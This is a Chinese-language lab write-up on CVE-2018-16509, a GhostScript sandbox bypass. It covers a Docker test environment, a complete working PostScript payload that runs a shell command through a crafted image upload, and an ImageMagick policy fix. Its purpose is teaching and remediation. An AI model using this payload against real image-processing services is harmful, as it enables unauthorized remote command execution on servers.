CVE-2018-16509(GhostScript 沙箱绕过(命令执行)漏洞)
GhostScript 沙箱绕过(命令执行)漏洞
漏洞描述
1.漏洞编号:CVE-2018-16509
2.影响版本:Ghostscript 9.24之前版本
3.漏洞产生原因:
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:
- http://seclists.org/oss-sec/2018/q3/142
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
启动环境:docker-compose up -d
vulnIP:192.168.1.182
环境启动后,GhostScript 9.23、ImageMagick 7.0.8,访问`http://your-ip:8080`将可以看到一个上传组件。
漏洞发现
关注GhostScript的版本
漏洞利用
上传[poc.png](poc.png),将执行命令`id > /tmp/success && cat /tmp/success`。此时进入容器`docker-compose exec web bash`,将可以看到/tmp/success已被创建:
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
进入容器docker-compose exec web bash后ls /tmp/将可以看到/tmp/success已被创建:

问题汇总
修复方案
漏洞信息可以参考imagemaick的ghost script RCE漏洞
目前最全的修复方案参考https://www.kb.cert.org/vuls/id/332928
编辑ImageMagick的policy文件,默认路径为/etc/ImageMagick/policy.xml
在标签中增加如下内容
<policy domain="coder" rights="none" pattern="PS" /> <policy domain="coder" rights="none" pattern="PS2" /> <policy domain="coder" rights="none" pattern="PS3" /> <policy domain="coder" rights="none" pattern="EPS" /> <policy domain="coder" rights="none" pattern="PDF" /> <policy domain="coder" rights="none" pattern="XPS" />
基础知识
GhostScript:
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大
以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。
在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞
2021-02-21 20:04:28

浙公网安备 33010602011771号